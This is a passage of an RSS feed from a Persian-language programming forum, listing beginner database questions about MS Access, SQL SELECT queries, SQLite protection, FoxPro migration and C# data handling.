3. ایجادمحدودیت برای ورود اطلاعات number بااین تنظیمات که اعداد ورودی 2 رقمی وارد شوند نه بیشتر نه کمتر.<br />
4. برای وارد کردن تاریخ تولد 1355/02/02 بهترین راه که اطلاعات به خوبی ثبت شوند وکاربر دچارمشکل نشود را پیشنهاد نمایید<br />
درودوسپاس  abfsports2@gmail.com]]></description>
			<content:encoded><![CDATA[سلام در مورد سوالات زیر مربوط به برنامه اکسس راهنمایی بفرمایید.سپاسگزارم<br />
1. روش اضافه کردن عکس پرسنلی از طریق add یا berrows <br />
2. روش ساخت تب های پرینت ، ذخیره ، بازگشت و بعدی در پروژه <br />
3. ایجادمحدودیت برای ورود اطلاعات number بااین تنظیمات که اعداد ورودی 2 رقمی وارد شوند نه بیشتر نه کمتر.<br />
4. برای وارد کردن تاریخ تولد 1355/02/02 بهترین راه که اطلاعات به خوبی ثبت شوند وکاربر دچارمشکل نشود را پیشنهاد نمایید<br />
درودوسپاس  abfsports2@gmail.com]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[برنامه های محاسبات عددی به زبان فرترن]]></title>
			<link>https://www.iranled.com/forum/thread-29195.html</link>
			<pubDate>Thu, 13 Nov 2014 13:58:45 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-29195.html</guid>
			<description><![CDATA[سلام .<br />
دوستان کسی هست که برنامه محاسبات عددی به زبان فرترن داشته باشه .<br />
برنامه نیوتن و اگرانز و سیمپسون و ... رو میخوام<br />
ایمیلم mostafakhorsandi.kntu@yahoo.com<br />
ممنون میشم اگه دارید برام میل کنین]]></description>
			<content:encoded><![CDATA[سلام .<br />
دوستان کسی هست که برنامه محاسبات عددی به زبان فرترن داشته باشه .<br />
برنامه نیوتن و اگرانز و سیمپسون و ... رو میخوام<br />
ایمیلم mostafakhorsandi.kntu@yahoo.com<br />
ممنون میشم اگه دارید برام میل کنین]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[درخواست مقاله  پایگاه داده]]></title>
			<link>https://www.iranled.com/forum/thread-29085.html</link>
			<pubDate>Fri, 24 Oct 2014 20:57:34 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-29085.html</guid>
			<description><![CDATA[سلام <br />
من برای پایگاه داده پیشرفته موضوع مقاله در رابطه با بهینه سازی پرس و جو در پایگاه داده یا query optimization in DBMS رو انتخاب کردم چون فکر میکردم خیلی پیچیده نیست و الان دنبال مقاله معتبر در این زمینه هستم ولی نتونستم چیزی پیدا کنم <br />
ممنون میشم به من منابع معتبری معرفی کنی که 3 مقاله در این زمینه داشته باشه البته به زبان انگلیسی و از سایت معتبر و از 2010 به بعد<br />
اگه این موضوع مناسب نیست ممنون میشم چند موضوع مناسب که سخت و پیچیده نباشه معرفی کنید]]></description>
			<content:encoded><![CDATA[سلام <br />
من برای پایگاه داده پیشرفته موضوع مقاله در رابطه با بهینه سازی پرس و جو در پایگاه داده یا query optimization in DBMS رو انتخاب کردم چون فکر میکردم خیلی پیچیده نیست و الان دنبال مقاله معتبر در این زمینه هستم ولی نتونستم چیزی پیدا کنم <br />
ممنون میشم به من منابع معتبری معرفی کنی که 3 مقاله در این زمینه داشته باشه البته به زبان انگلیسی و از سایت معتبر و از 2010 به بعد<br />
اگه این موضوع مناسب نیست ممنون میشم چند موضوع مناسب که سخت و پیچیده نباشه معرفی کنید]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[دستور select  ایجاد ستون شمارش]]></title>
			<link>https://www.iranled.com/forum/thread-28496.html</link>
			<pubDate>Fri, 04 Jul 2014 15:15:42 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28496.html</guid>
			<description><![CDATA[سلام خسته نباشید<br />
بطور مثال یه جدول دارم شامل فیلد نام و فیلد نام خانوادگی<br />
در زمان select میخوام جز این دوتا ستون یه ستون دگه هم ایجاد بشه بنام شمارش<br />
<br />
چطور میشه اینکار کرد؟]]></description>
			<content:encoded><![CDATA[سلام خسته نباشید<br />
بطور مثال یه جدول دارم شامل فیلد نام و فیلد نام خانوادگی<br />
در زمان select میخوام جز این دوتا ستون یه ستون دگه هم ایجاد بشه بنام شمارش<br />
<br />
چطور میشه اینکار کرد؟]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[دستور select]]></title>
			<link>https://www.iranled.com/forum/thread-28494.html</link>
			<pubDate>Fri, 04 Jul 2014 13:07:50 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28494.html</guid>
			<description><![CDATA[سلام خسته نباشید<br />
همانطور میدونید در پایگاه داده حرف فارس جابجا میشن برای همین من برای ذخیره شماره پلاک در چهار فیلد جدا ذخیره میکنم<br />
<br />
<br />
حالا میخوام بدونم دستور select کاری میشه کرد که فیلد های fild1&amp;fild2&amp;fild3&amp;fild4<br />
کنار هم قرار بده در select نمایش دهد؟<br />
<hr class="mycode_hr" />
این روش میدونم <br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">select&nbsp;street</span><span style="color: #007700">+...+</span><span style="color: #0000BB">plate&nbsp;from&nbsp;table1&nbsp;<br /></span></code></div></div></div><br />
ولی میخوام ستون هایی که باهم ادغام میکنم برای ستون جدید یه نام انتخاب کنم چطور اینکارو باید کرد؟<br />
<hr class="mycode_hr" />
حل شد <img src="https://www.iranled.com/forum/images/smilies2/biggrin.gif" alt="Biggrin" title="Biggrin" class="smilie smilie_3" /><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">SELECT&nbsp;Name&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Family&nbsp;</span><span style="color: #007700">AS&nbsp;</span><span style="color: #0000BB">Media&nbsp;FROM&nbsp;Student&nbsp;<br /></span></code></div></div></div>]]></description>
			<content:encoded><![CDATA[سلام خسته نباشید<br />
همانطور میدونید در پایگاه داده حرف فارس جابجا میشن برای همین من برای ذخیره شماره پلاک در چهار فیلد جدا ذخیره میکنم<br />
<br />
<br />
حالا میخوام بدونم دستور select کاری میشه کرد که فیلد های fild1&amp;fild2&amp;fild3&amp;fild4<br />
کنار هم قرار بده در select نمایش دهد؟<br />
<hr class="mycode_hr" />
این روش میدونم <br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">select&nbsp;street</span><span style="color: #007700">+...+</span><span style="color: #0000BB">plate&nbsp;from&nbsp;table1&nbsp;<br /></span></code></div></div></div><br />
ولی میخوام ستون هایی که باهم ادغام میکنم برای ستون جدید یه نام انتخاب کنم چطور اینکارو باید کرد؟<br />
<hr class="mycode_hr" />
حل شد <img src="https://www.iranled.com/forum/images/smilies2/biggrin.gif" alt="Biggrin" title="Biggrin" class="smilie smilie_3" /><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">SELECT&nbsp;Name&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Family&nbsp;</span><span style="color: #007700">AS&nbsp;</span><span style="color: #0000BB">Media&nbsp;FROM&nbsp;Student&nbsp;<br /></span></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[مشکل با پرستاشاپ]]></title>
			<link>https://www.iranled.com/forum/thread-28489.html</link>
			<pubDate>Wed, 02 Jul 2014 19:00:20 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28489.html</guid>
			<description><![CDATA[سلام دوستان <br />
من پرستا شاپ رو روی هاستم نصب کردم و حالا با تصاویر اصلیش مشکل دارم ونمیدونم از کجا پاک میشن . کسی تجربه ای تو این زمینه داره ؟]]></description>
			<content:encoded><![CDATA[سلام دوستان <br />
من پرستا شاپ رو روی هاستم نصب کردم و حالا با تصاویر اصلیش مشکل دارم ونمیدونم از کجا پاک میشن . کسی تجربه ای تو این زمینه داره ؟]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[انتقال اطلاعات از فاکس پروه به sql server]]></title>
			<link>https://www.iranled.com/forum/thread-28216.html</link>
			<pubDate>Fri, 09 May 2014 17:20:25 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28216.html</guid>
			<description><![CDATA[سلام دوستان<br />
چطوری میتونیم اطلاعات یه دیتابیس که با فاکسپرو ساخته شده را به اسکیو ال تبدیل کنیم؟؟<br />
<br />
<br />
ممنون میشم راهنمایی کنید]]></description>
			<content:encoded><![CDATA[سلام دوستان<br />
چطوری میتونیم اطلاعات یه دیتابیس که با فاکسپرو ساخته شده را به اسکیو ال تبدیل کنیم؟؟<br />
<br />
<br />
ممنون میشم راهنمایی کنید]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[سوال : چگونگی محافظت از بانک اطلاعاتی sqlite]]></title>
			<link>https://www.iranled.com/forum/thread-28042.html</link>
			<pubDate>Mon, 07 Apr 2014 13:13:23 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28042.html</guid>
			<description><![CDATA[سلام<br />
<br />
چطور میشه از یک بانک اطلاعتی sqlite محافظت کرد <br />
<br />
1- پسورد بگیره <br />
2- ایکرپبت به شه <br />
3- داخل برنامه استفاده کرد(سیستم اندروید می باشد)<br />
<br />
______________________________<br />
<br />
و یک سوال دیگه میشه از زیپ همراه با پسورد استفاده کرد؟ یعنی دیتاپیس رو zip همراه با پسورد کنیم و بعد اون رو فراخونی کنم؟؟]]></description>
			<content:encoded><![CDATA[سلام<br />
<br />
چطور میشه از یک بانک اطلاعتی sqlite محافظت کرد <br />
<br />
1- پسورد بگیره <br />
2- ایکرپبت به شه <br />
3- داخل برنامه استفاده کرد(سیستم اندروید می باشد)<br />
<br />
______________________________<br />
<br />
و یک سوال دیگه میشه از زیپ همراه با پسورد استفاده کرد؟ یعنی دیتاپیس رو zip همراه با پسورد کنیم و بعد اون رو فراخونی کنم؟؟]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[دستور select]]></title>
			<link>https://www.iranled.com/forum/thread-27520.html</link>
			<pubDate>Sun, 22 Dec 2013 17:12:19 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-27520.html</guid>
			<description><![CDATA[سلام خسته نباشید یک جدول وجود داره بنام tbl_otagh با فیلد های<br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">tbl_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">somareh_otagh<br />&nbsp;tbl_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">keyfiyat<br />&nbsp;tbl_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">chand_khabe<br />&nbsp;tbl_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">gheymat&nbsp;<br /></span></code></div></div></div><br />
و یه جدول هم با نام tbl_rezerve_otagh و با فیلد های زیر<br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">shomareh_shenasname<br />tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">somareh_otagh&nbsp;<br />tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">tarikh_vorod<br />tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">tarikh_khoroj<br />&nbsp;tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">zaman_vorood<br />tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">zaman_khoroh&nbsp;<br /></span></code></div></div></div><br />
دستور select زیر نوشتم درست عمل نمیکنه مشکل چی؟<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>SELECT&nbsp;&nbsp;&nbsp;&nbsp; tbl_otagh.somareh_otagh, tbl_otagh.keyfiyat, tbl_otagh.chand_khabe, tbl_otagh.gheymat<br />
FROM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tbl_otagh INNER JOIN<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tbl_rezerve_otagh ON tbl_otagh.somareh_otagh = tbl_rezerve_otagh.somareh_otagh<br />
WHERE&nbsp;&nbsp;&nbsp;&nbsp;( tbl_rezerve_otagh.tarikh_khoroj &gt; '1392-02-08' AND tbl_otagh.keyfiyat = 'خوب') or (tbl_otagh.somareh_otagh&lt;&gt;tbl_rezerve_otagh.somareh_otagh and tbl_otagh.keyfiyat = 'خوب')</code></div></div>]]></description>
			<content:encoded><![CDATA[سلام خسته نباشید یک جدول وجود داره بنام tbl_otagh با فیلد های<br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">tbl_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">somareh_otagh<br />&nbsp;tbl_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">keyfiyat<br />&nbsp;tbl_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">chand_khabe<br />&nbsp;tbl_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">gheymat&nbsp;<br /></span></code></div></div></div><br />
و یه جدول هم با نام tbl_rezerve_otagh و با فیلد های زیر<br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">shomareh_shenasname<br />tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">somareh_otagh&nbsp;<br />tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">tarikh_vorod<br />tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">tarikh_khoroj<br />&nbsp;tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">zaman_vorood<br />tbl_rezerve_otagh</span><span style="color: #007700">.</span><span style="color: #0000BB">zaman_khoroh&nbsp;<br /></span></code></div></div></div><br />
دستور select زیر نوشتم درست عمل نمیکنه مشکل چی؟<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>SELECT&nbsp;&nbsp;&nbsp;&nbsp; tbl_otagh.somareh_otagh, tbl_otagh.keyfiyat, tbl_otagh.chand_khabe, tbl_otagh.gheymat<br />
FROM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tbl_otagh INNER JOIN<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tbl_rezerve_otagh ON tbl_otagh.somareh_otagh = tbl_rezerve_otagh.somareh_otagh<br />
WHERE&nbsp;&nbsp;&nbsp;&nbsp;( tbl_rezerve_otagh.tarikh_khoroj &gt; '1392-02-08' AND tbl_otagh.keyfiyat = 'خوب') or (tbl_otagh.somareh_otagh&lt;&gt;tbl_rezerve_otagh.somareh_otagh and tbl_otagh.keyfiyat = 'خوب')</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[شروع SQL]]></title>
			<link>https://www.iranled.com/forum/thread-27330.html</link>
			<pubDate>Thu, 21 Nov 2013 18:14:55 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-27330.html</guid>
			<description><![CDATA[سلام<br />
من میخوام sql رو شروع کنم. به صورت سریع تقریباً. میخوام اطلاعات رو ذخیره کنم، حذف کنم و بخونم. نمی خوام زیاد وارد جزئیات بشم. فقط کارم رو راه بندازه. منبعی هم اونجور که میخوام پیدا نکردم. <br />
تا حالا هم اصلاً sql کار نکردم. فقط SQL Server 2012 رو نصب کردم. <img src="https://www.iranled.com/forum/images/smilies2/biggrin.gif" alt="Biggrin" title="Biggrin" class="smilie smilie_3" /><br />
با C#.NET کار می کنم. <br />
با تشکر]]></description>
			<content:encoded><![CDATA[سلام<br />
من میخوام sql رو شروع کنم. به صورت سریع تقریباً. میخوام اطلاعات رو ذخیره کنم، حذف کنم و بخونم. نمی خوام زیاد وارد جزئیات بشم. فقط کارم رو راه بندازه. منبعی هم اونجور که میخوام پیدا نکردم. <br />
تا حالا هم اصلاً sql کار نکردم. فقط SQL Server 2012 رو نصب کردم. <img src="https://www.iranled.com/forum/images/smilies2/biggrin.gif" alt="Biggrin" title="Biggrin" class="smilie smilie_3" /><br />
با C#.NET کار می کنم. <br />
با تشکر]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[حذف]]></title>
			<link>https://www.iranled.com/forum/thread-27218.html</link>
			<pubDate>Thu, 31 Oct 2013 15:45:49 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-27218.html</guid>
			<description><![CDATA[بچه ها من تو برنامم یک جدول دارم که کاربر میتونه با گرفتن مشخصات و تعداد بقیه چیزها در جدول فاکتور,فاکتور صادر کنه و در gridview نشون بده<br />
<br />
الان میخوام کاری کنم که وقتی کاربر تعداد یک جنس خاص را در جدول فاکتور وارد کرد,در جدول product از تعداد اون محصول بلافاصله کم بشه<br />
راهنماییم کنید<br />
<br />
اینم بگم به روش linq کد رو نوشتم<br />
ممنون]]></description>
			<content:encoded><![CDATA[بچه ها من تو برنامم یک جدول دارم که کاربر میتونه با گرفتن مشخصات و تعداد بقیه چیزها در جدول فاکتور,فاکتور صادر کنه و در gridview نشون بده<br />
<br />
الان میخوام کاری کنم که وقتی کاربر تعداد یک جنس خاص را در جدول فاکتور وارد کرد,در جدول product از تعداد اون محصول بلافاصله کم بشه<br />
راهنماییم کنید<br />
<br />
اینم بگم به روش linq کد رو نوشتم<br />
ممنون]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[حذف کالا از دیتا بیس]]></title>
			<link>https://www.iranled.com/forum/thread-27205.html</link>
			<pubDate>Tue, 29 Oct 2013 17:12:48 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-27205.html</guid>
			<description><![CDATA[عزیزان بنده میخوام کالاهایی را که با کد اضافه کردن در win.application به جدول product اضافه کردم را به وسیله یک combo box که اسامی محصولات را نشان میدهد,با دکمه حذف محصول انتخاب شده حذف شود<br />
مرسی<br />
کد حذف کردن از دیتا بیس در c# رو بلدم اما میخوام اون محصولی که در combo box انتخاب شود کاملا حذف شود]]></description>
			<content:encoded><![CDATA[عزیزان بنده میخوام کالاهایی را که با کد اضافه کردن در win.application به جدول product اضافه کردم را به وسیله یک combo box که اسامی محصولات را نشان میدهد,با دکمه حذف محصول انتخاب شده حذف شود<br />
مرسی<br />
کد حذف کردن از دیتا بیس در c# رو بلدم اما میخوام اون محصولی که در combo box انتخاب شود کاملا حذف شود]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[sql server import ....]]></title>
			<link>https://www.iranled.com/forum/thread-26993.html</link>
			<pubDate>Sun, 22 Sep 2013 18:30:36 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-26993.html</guid>
			<description><![CDATA[سلام<br />
<br />
این ویزارد اس کیو ال سرور .... که همراه ویژوال استادیو نصب میشه کارش چیه؟<br />
<br />
<br />
ضمنا برای اینکه نیازی به نصب ای کیو ال سرور نباشه میشه از نسخه اکسپرس استفاده کرد؟<br />
<br />
باید کجا رفت؟ ممنون<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://www.iranled.com/forum/images/attachtypes/image.gif" title="JPEG Image" border="0" alt=".jpg" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="https://www.iranled.com/forum/attachment.php?aid=10289" target="_blank">a445.jpg</a> (اندازه:  95.91 KB / تعداد دفعات دریافت:  99)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[سلام<br />
<br />
این ویزارد اس کیو ال سرور .... که همراه ویژوال استادیو نصب میشه کارش چیه؟<br />
<br />
<br />
ضمنا برای اینکه نیازی به نصب ای کیو ال سرور نباشه میشه از نسخه اکسپرس استفاده کرد؟<br />
<br />
باید کجا رفت؟ ممنون<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://www.iranled.com/forum/images/attachtypes/image.gif" title="JPEG Image" border="0" alt=".jpg" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="https://www.iranled.com/forum/attachment.php?aid=10289" target="_blank">a445.jpg</a> (اندازه:  95.91 KB / تعداد دفعات دریافت:  99)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[معرفی سایت - دیاگرام دیتابیس]]></title>
			<link>https://www.iranled.com/forum/thread-26537.html</link>
			<pubDate>Mon, 29 Jul 2013 12:10:21 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-26537.html</guid>
			<description><![CDATA[سلام<br />
<br />
<a href="http://databaseanswers.org/data_models/" target="_blank" rel="noopener" class="mycode_url">یه سایت خوب که مرجعه سوالات پایگاه داده است</a><br />
توش نمونه ER های بهینه برای انواع سیستم ها وجود داره .<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">databaseanswers</span><span style="color: #007700">.</span><span style="color: #0000BB">org</span><span style="color: #007700">/</span><span style="color: #0000BB">data_models</span><span style="color: #007700">/&nbsp;<br /></span></code></div></div></div>]]></description>
			<content:encoded><![CDATA[سلام<br />
<br />
<a href="http://databaseanswers.org/data_models/" target="_blank" rel="noopener" class="mycode_url">یه سایت خوب که مرجعه سوالات پایگاه داده است</a><br />
توش نمونه ER های بهینه برای انواع سیستم ها وجود داره .<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">کد php: </div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">databaseanswers</span><span style="color: #007700">.</span><span style="color: #0000BB">org</span><span style="color: #007700">/</span><span style="color: #0000BB">data_models</span><span style="color: #007700">/&nbsp;<br /></span></code></div></div></div>]]></content:encoded>
		</item>
	</channel>
</rss>